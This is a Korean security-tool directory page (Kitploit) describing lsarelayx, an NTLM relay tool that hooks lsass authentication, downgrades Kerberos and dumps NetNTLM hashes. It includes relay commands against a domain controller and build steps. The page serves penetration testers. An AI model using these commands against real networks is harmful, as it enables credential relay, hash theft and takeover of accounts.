Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
lsarelayx — 시스템 차원의 NTLM 릴레이 도구로, Windows 인증 API를 후킹하여 들어오는 NTLM 연결을 릴레이하고, Kerberos를 다운그레이드하며, 오프라인 크래킹을 위해 NetNTLM 해시를 덤프합니다. | Kitploit
도구/GitHubGitHub/ccob/lsarelayx
Password AttacksExploitationPenetration TestingAuthenticationRed Teaming
GitHubccob/lsarelayx

lsarelayx

시스템 차원의 NTLM 릴레이 도구로, Windows 인증 API를 후킹하여 들어오는 NTLM 연결을 릴레이하고, Kerberos를 다운그레이드하며, 오프라인 크래킹을 위해 NetNTLM 해시를 덤프합니다.

저장소 보기
5846614년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

lsarelayx

소개

lsarelayx는 시스템 전체 NTLM 릴레이 도구로, 수신되는 NTLM 기반 인증을 실행 중인 호스트로 릴레이하도록 설계되었습니다. lsarelayx는 SMB를 포함한 모든 수신 인증 요청을 릴레이합니다. lsarelayx는 기존 애플리케이션 인증 흐름에 후킹되므로, 릴레이가 완료된 후에도 원래 인증 요청을 처리하려고 시도합니다. 이렇게 하면 대상 애플리케이션/프로토콜이 오류를 표시하지 않고 lsarelayx 호스트에 대해 인증하는 최종 사용자에게 정상적으로 작동합니다.

기능

  • SMB, HTTP/HTTPS, LDAP/LDAPS 또는 Windows 인증 API를 구현하는 기타 타사 애플리케이션을 포함한 시스템 전체 NTLM 연결을 릴레이합니다.
  • 가능한 경우 수신 Kerberos 인증 요청을 NTLM으로 다운그레이드합니다. 이로 인해 일반적으로 Kerberos 인증을 시도하는 클라이언트가 NTLM으로 대체됩니다.
  • 릴레이된 사용자에 대해 LDAP 쿼리를 수행하여 그룹 구성원 정보를 가져오고 원래 요청에 대한 올바른 인증 토큰을 생성합니다.
  • 오프라인 크래킹을 위해 NetNTLM 메시지를 덤프합니다.
  • 릴레이하지 않고 캡처된 NetNTLM 해시만 덤프하는 수동 모드를 지원합니다. (이 모드에서는 Kerberos 다운그레이드가 없습니다.)

작동 방식

lsarelayx는 세 부분으로 구성됩니다. liblsarelay.dll 내에 구현된 가짜 LSA 인증 공급자, 제어 인터페이스 역할을 하는 사용자 모드 콘솔 애플리케이션, RAW라는 새로운 ntlmrelayx 서버 모듈입니다.

liblsarelayx.dll

liblsarelayx.dll은 lsarelayx에 의해 로드되는 LSA 인증 공급자입니다. 주요 목적은 NTLM 및 Negotiate 패키지를 후킹하여 인증 요청을 로컬 명명된 파이프를 통해 lsarelayx로 리디렉션하여 NetNTLM 해시를 릴레이 및 덤프하는 것입니다. liblsarelayx는 가능한 한 단순하게 설계되었으며, 모든 무거운 작업은 lsarelayx가 수행합니다.

lsarelayx.exe

lsarelayx.exe는 사용자 지정 LSA 인증 공급자(liblsarelayx.dll)를 로드하고, 인증 공급자로부터 수신되는 NTLM 및 Negotiate 토큰을 수신 대기하며, ntlmrelayx의 RAW 서버 모듈로 릴레이하는 주요 콘솔 애플리케이션입니다. 이 도구는 또한 릴레이된 사용자의 그룹 정보를 캡처하여 LSA 인증 공급자로 다시 전달하는 데 사용되는 LDAP 쿼리를 수행합니다.

RAW ntlmrelayx 모듈

impacket의 ntlmrelayx는 릴레이 공격을 생성하는 데 상당한 작업을 구현했으며, 향후 공격을 계속 개선하고 추가할 것입니다. lsarelayx 내에서 직접 공격을 재구현하는 대신 이를 활용하기 위해 RAW라는 새로운 ntlmrelayx 서버 모듈이 생성되었습니다. 현재 GitHub에 PR이 열려 있으며 RAW 서버 모듈을 구현합니다. RAW 서버 모듈은 프로토콜에 구애받지 않으며 lsarelayx와 같은 타사 소프트웨어에서 직접 원시 NTLM 메시지를 수락하도록 설계되었습니다.

PR이 메인라인 impacket 저장소에 병합될 때까지 이 버전을 사용할 수 있습니다.

사용법

활성 모드

먼저 ntmlrelayx RAW 서버 모듈을 시작하여 lsarelayx에서 전달된 RAW NTLM 메시지를 수신 대기합니다.

root@kitploit:~
python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan

Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666

[*] Servers started, waiting for connections

lsarelayx 자체를 실행하려면 로컬 관리자 권한이 필요합니다. 활성 릴레이 모드로 실행하려면 ntlmrelayx가 원시 서버 모듈을 실행 중인 호스트 주소를 지정해야 합니다. 기본 포트는 6666입니다. --port 인수로 재정의할 수 있지만, ntlmrelayx 쪽에서도 --raw-port 인수를 사용하여 포트를 재정의해야 합니다.

root@kitploit:~
lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

수동 모드

인수 없이 실행하여 수동 모드로 lsarelayx를 실행할 수도 있습니다.

root@kitploit:~
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll

주의사항

liblsarelayx DLL이 lsass에 로드되면 현재 LSA 플러그인의 작동 방식 제한으로 인해 언로드할 수 없습니다. 클라이언트를 닫으면 DLL이 휴면 상태가 될 수 있지만, 재부팅이 발생할 때까지 DLL은 계속 사용 중입니다.

LSA 플러그인이 실제 플러그인이 아니기 때문에, 플러그인 내에 리플렉티브 로더를 구현하여 원할 때 중지 및 시작할 수 있도록 계획이 있지만, 이는 다른 날의 과제입니다.

개발은 Windows 10 및 Server 2016에서 수행되었습니다. Windows Server 2012 R2에서 빠른 테스트를 수행했으며 작동했지만, 후킹을 위한 오프셋 계산이 2012에서 실패할 수 있습니다. (이는 lookuppackage-hint=를 사용하여 수동으로 제공할 수 있으며, 잘못 설정하면 Windows가 재부팅됩니다.) 데스크톱 측에서 Windows 10 미만에서는 테스트되지 않았으며, Server 2019에서는 전혀 테스트되지 않았습니다.

!!경고!!

liblsarelayx.dll은 중요한 lsass.exe 프로세스 내에 로드됩니다. liblsarelayx.dll에 lsass.exe를 충돌시키는 버그가 있으면 호스트는 60초 후에 재부팅됩니다. 버그 없는 코드를 작성하기 위해 최선을 다했지만, 확실히 보장할 수는 없습니다. lsarelayx를 사용하여 바쁜 파일 서버를 충돌시켜 포춘 500 고객을 다운시키더라도 저에게 불평하지 마십시오.

빌드

Docker

Docker가 설치되어 있다면 이것이 가장 빠른 옵션입니다. 모든 빌드 종속성이 미리 설치된 ccob/windows_cross 이미지를 사용합니다.

Windows의 Docker (Powershell)

root@kitploit:~
docker run --rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip"

Linux의 Docker

root@kitploit:~
docker run --rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip"

Linux

Linux에서는 CMake 툴체인과 MinGW 컴파일러를 사용합니다. 사전에 설치해야 합니다. 관리되는 구성 요소의 경우 .NET 코어에서 dotnet 명령줄 도구도 설치되어 있는지 확인하십시오.

root@kitploit:~
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip

Windows (Powershell)

Windows에서는 빌드를 시도하기 전에 전체 CMake, MinGW 및 Visual Studio 설정이 필요합니다. 개발 환경이 설치되어 있지 않다면 가장 번거로운 빌드 방법입니다.

root@kitploit:~
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip
도구 다운로드